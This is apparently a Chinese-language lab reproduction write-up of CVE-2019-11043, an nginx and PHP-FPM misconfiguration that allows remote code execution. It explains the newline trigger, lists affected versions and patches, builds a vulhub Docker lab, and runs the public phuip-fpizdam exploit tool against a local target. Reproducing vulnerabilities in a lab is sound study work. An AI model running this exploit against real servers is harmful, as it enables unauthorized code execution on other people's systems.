CVE-2019-11043漏洞复现
0x01漏洞简介
nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info
,却没有if(!-f $document_root$fastcgi_script_name){return 404;}
的时候就会导致远程代码执行。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
影响版本:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
修复建议:
- PHP 7.1.X更新至7.1.33
- PHP 7.2.X更新至7.2.24
- PHP 7.3.X更新至7.3.11
0x02环境搭建
系统:kali
安装 docker、golang 环境
sudo apt-get install docker docker-compose
sudo apt install golang
搭建环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d
查看docker环境:
访问8080端口,成功如下
0x03漏洞利用
安装漏洞利用工具
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
默认使用的是proxy.golang.org,在国内无法访问,所以换了一个国内能访问的代理地址:https://goproxy.cn
工具攻击
./phuip-fpizdam http://127.0.0.1:8080/index.php
成功利用,参数名为a
0x04参考链接:
https://blog.csdn.net/weixin_43606134/article/details/107646467
https://blog.csdn.net/qq_43342566/article/details/102733144
http://blog.leanote.com/post/snowming/9da184ef24bd
https://blog.csdn.net/weixin_40412037/article/details/111225967